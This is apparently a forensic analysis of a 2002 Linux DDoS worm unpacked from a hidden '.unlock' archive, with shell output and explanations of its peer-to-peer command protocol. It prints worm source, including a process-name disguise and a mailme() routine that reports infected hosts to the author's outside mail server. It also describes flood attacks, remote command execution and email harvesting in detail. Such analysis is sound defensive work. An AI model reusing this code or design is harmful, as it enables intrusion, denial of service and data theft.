[nicola@Westeros sotm]$ file .unlock
.unlock: gzip compressed data, deflated, last modified: Fri Sep 20 12:59:04 2002, os: Unix

[nicola@Westeros sotm]$ cp .unlock unlock.gz

[nicola@Westeros sotm]$ gunzip unlock.gz

[nicola@Westeros sotm]$ file unlock
unlock: GNU tar archive

[nicola@Westeros sotm]$ tar -tvf unlock

-rw-r--r-- root/wheel    70981 2002-09-20 15:28:11 .unlock.c

-rw-r--r-- root/wheel     2792 2002-09-19 23:57:48 .update.c

/****************************************************************************
 *                                                                          *

 *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *

 *                         by contem@efnet                                  *

 *      		      ^^^^^^^^^^^^                                  *

 ........

 *                                                                          *
 *  some modification done by aion (aion@ukr.net)                           *

                               ^^^  ^^^^^^^^^^^^
 ****************************************************************************/

[nicola@Westeros sotm]$ tar -tvf unlock

-rw-r--r-- root/wheel    70981 2002-09-20 15:28:11 .unlock.c

-rw-r--r-- root/wheel     2792 2002-09-19 23:57:48 .update.c

#define PSNAME          "httpd "

.....

        int main(int argc, char **argv) {

.....

        strcpy(argv[0],PSNAME);

strcpy(argv[0],PSNAME);

[nicola@Westeros sotm]$ file /tmp/.unlock

/tmp/.unlock: data

[nicola@Westeros sotm]$ file /tmp/.unlock

/tmp/.unlock: gzip compressed data, deflated, original filename ....

1. The IP of the infected machine 
2. The hostname of the infected machine
3. the IP address of the attacking machine
   

#define MAILSRV         "freemail.ukr.net"

#define MAILTO          "aion@ukr.net"

......

int mailme(char *sip)  
{
  char cmdbuf[256], buffer[128]; 
  int pip; long inet;
  struct sockaddr_in sck;
  struct hostent *hp;

  if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
  if((inet=inet_addr(MAILSRV))==-1)
  {
    if(hp=gethostbyname(MAILSRV))
        memcpy (&inet, hp->h_addr, 4);
    else return -1;
  }
  sck.sin_family = PF_INET;
  sck.sin_port = htons (25);
  sck.sin_addr.s_addr = inet;
  if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;

  gethostname(buffer,128);
  sprintf(cmdbuf,"helo test\r\n");                     writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"data\r\n");                          writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf," hostid:   %d \r\n"
                 " hostname: %s \r\n"
                 " att_from: %s \r\n",gethostid(),buffer,sip);  
                                                       writem(pip, cmdbuf);              
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  sprintf(cmdbuf,"\r\n.\r\nquit\r\n");                 writem(pip, cmdbuf);
  recv(pip,cmdbuf,sizeof(cmdbuf),0);
  return close(pip);
}    

1. hostid :            The IP address of the infected machine (the machine on which the worm is running)
2. hostname :      The hostname of the infected machine
3. att_from:        The IP address of the machine that performed the attack
   

•  UDP flood
•  TCP flood (IPv4 and IPv6)
•  DNS flood

• Opening and closing a bounce
• Running a command on the onfected machine
• Email scanning (searches the filesystem (except /dev /proc /bin)) for files containing the character '@' and extracting good bytes (from 'a' to 'z', from 'A' to 'Z' , '0' to '9', and '.', '-' , '@', '^'. '_') from these filea
  

        int accept(int sockfd, void *addr, int *addrlen);

	soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, sizeof(client_addr));

        int sin_size;

        ....

        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &sin_size);

[nicola@Westeros sotm]$ netstat -na | grep LISTEN

tcp        0      0 0.0.0.0:1052            0.0.0.0:*               LISTEN

1. Accepts connections only for UPTIME seconds (= 10 seconds). after that it shutdowns the listening socket.
2. Then it sleeps for SLEEPTIME seconds (300 seconds = 10 minutes).
3. It resumes listening on port 1052.
   

More Details

1.  Initializes routes,clients and initrec to   
2. initrec.h.tag = 0x70
3. with the help of audplisten(), creates a socket and stores it udpserver->sock, it then binds  udpserver->sock to UDP PORT (UDP/4156) on interface ANY 
4. Scans the argv[] array and resolves (if possible) the address, an stores them in cpbases[] address
5. For each cpbases[i], it calls  relay(cpbases[i],initrec,sizeof(initrec))  
   

•  inserts udpserver.sock in un file descriptor set (it is used by select() system call to handle the multiplexed I/O on UDP port 4156
•  does the same thing with clients[i].sock  
•  executes the select monitoring for an incoming packet on UDP port 4156
•  Some problem with select? If so wait for children to hang and reallocs the necessary structures for new children
•  The loop started more than 60 seconds ago?
              YES
                  If the worm knows no links then retry the relay with 0x70 tag
                       else sets the tag to 0x74 and calls segment();
                                segment does the following work:
                                         a)  enques the packet q with q->destination = NULL with lowsend() function
                                         b) choose  (random) ten  elements from links[i] and sends them a  0x74 packet
• Did the loop start more than 3 seconds ago
                       YES :     it scans every element  of the queue using the variable q
                                           if (time(NULL) - q->time) > (36+numlinks/15)
                                                 deletes  q from the queue (deletes old elements)
                                                 else  if (time(NULL) - q->ltime) >= 3  [for  the first relay] or 6 [for other relays]
                                                                    then do a relay to q->destination
                                                                     else calls segment which sends 0x74 packets to ten links randomly choosen
• Check how any seconds have passed from the loop
                  if seconds > 600 then calls broadcast():
                          broadcast sends a 0x26 tagged message with a segment()
                          NOTE: This packet has a record hops=5
                          probably it  has some information on  routing
• Check for incoming packets on UDP if so it sets  udpserver.len=AREAD
• If  myip is not NULL then for the last CLIENTS (128)  clients[i] does the following things:
                 a) choose a IP A.B.C.D where  A and B are random, while C and D  are incremented for every single client
                 b) sets up a non blocking socket using TCP port 80 (SCANPORT)
                   and  client[i].ext=time(NULL);
                 c) try to connect to TCP port 80 (a so called TCP connect scan) and close the socket
                 d) if the scan was succesfull it forks a child:
                     this child calls exploit(clients[n].in.sin_addr.s_addr);
                     (i.e. the child try to infect the machine having clients[n].in.sin_addr.s_addr IP address)
• for each client (all the clients) check if the connection is in TCP_PENDING  phase
                  YES: Check :
                          se ACONNECT sends to client[i] the tag 0x42 : it spcifies to client[i] to do a relay using client[i].ext as target
                          se ASUCCESS tells client[i] to relay to client[i].ext and also sends client[i]ext5. client[i] go in the SOCKS_REPLY state
                  NO: if client[i] is  in SOCKS_REPLY state and it is not yet used
                                  then the worm receive a buffer form UDP port 4156
                                        if the buffer is NULL then marks client[i] as TCP_CONNECT
                                                     else tells client[i] to relay with client[i].ext as target, then it closes the connection with client[i]
                                 else if client[i] is in TCP_CONNECT state and not marked as yet used
                                                    the worm receives  a buffer
                                                         if there's a receiving error  the worm tells client[i] to do a relay (0x42) to client[i].ext
                                                             sending clients[i].ext3 and closes connection with client[i]
                          else the worm tells client[i] to relay (0x41) obfuscating th buffer and adding clients[i].ext3 to the buffer
                          clients[i].ext3
• The worm now act as a "enslaved" server: it receives UDP packets from the UDP port 4156. Then it discriminate among the tag
  
  1. tag 0x41 0x42 0x43 0x44 0x45 0x46 0x47 are used to command a relay to an "enslaved" machine
  2. tag 0x70 tells that the machine sending the packet is infected, so the worm adds the remote machine in the server list
  3. 0x71 tag is used to send to known hosts  the address of a new infected machine: the worm sends this type of message after receiving a 0x70 tagged message 
  4. 0x72, as far as I can understand, is used to force a machine to send 0x71 messages containing the infected hosts known by the machine
  5.  0x73 tagged messages are sent after the worm has received a 0x70 tag. The purpose of this message is to send an infected machine IP address to the infected machine itself. The machine update myip. Before receiving this type of message, the nfected machine cannot exploit other machines  
  6. 0x74 is sent by an infected machine which doesn't know her myip   : a machine receiving this type of packets replies with a 0x73 packet sending the IP address
  7. With 0x21, 0x22 and 0x23 tag messages, a client tells a server to open, close and send message to another host using a bounce
  8. With 0x24 messages a client tells a server to run a command using the call popen()  (The  popen()  function  opens a process by creating a pipe, forking, and invoking the shell)
  9. In 0x29 tagged  messages, the received buffer contains the ip address of a target (rp->target) and the UDP port (rp->port ) to use when attacking then target. When the the worm receives a 0x29 tagged message, if rp->port is not specified the a random port is choosen. Then the worms create a nonblocking UDP socket and start sending UDP packets (with random payload) to the target. Every 50 packets, the worm checks how much time is passed since the beginning of the flood:  if the time is greater than rp->secs (the client which commands the worm to attack  chose the duration of the attack) then stops that attack, else it goes on attacking
  10. in the case of a 0x2A tagged message, the worm performs a TCP flooding : it repeats TCP connection to the target, grouped by 50 during a total period of rp->secs. (this attack is a SYN Flood, because it try only connection and does not sends any payload)
  11. In the case of 0x2B the worms performs a TCP Flood attack but on IPv6 network
  12. When the worm receives a 0x2C it performs a UDP flood to a DNS server. The target is rp->target, The difference between DNS Flood and UDP Flood is that in DNS Flood the payload of the sent packets is accurately forged, it's not just a random buffer.
  13. Finally, the worm, after receivinga 0x2D tagged packet, starts searching the filesystem of the local machine for email files. The StartScan function searches every file on the filesystem from the root directory (does not search in /proc /bin /dev , obviously) and call the ScanFile function for each file. The ScanFile search into the file for a '@' character. When if finds such a character it rewinds the file bype per byte while the byte is a good character (alphanumeric or '@' or '.' or '_' or '-' or '^'). When it stops rewinding, the worm reads from the current position of the file while there are good bytes. In this way the ScanFile can retrieve email addresses from the scanned file. The function also adds the email address in a list, calling AddToList(email). After scanning the filesystem, the worm sends the address list to IP:ESCANPORT, where IP is a IP address specified in the 0x2D tagged packet and ESCANPORT is 10100. The TCP port 10100 is not used for any service http://www.iana.org/assignments/port-numbers
      Probably the attacker starts a server listening on ESCANPORT
• It's the end of the loop: goes to the beginning of the while(1) loop.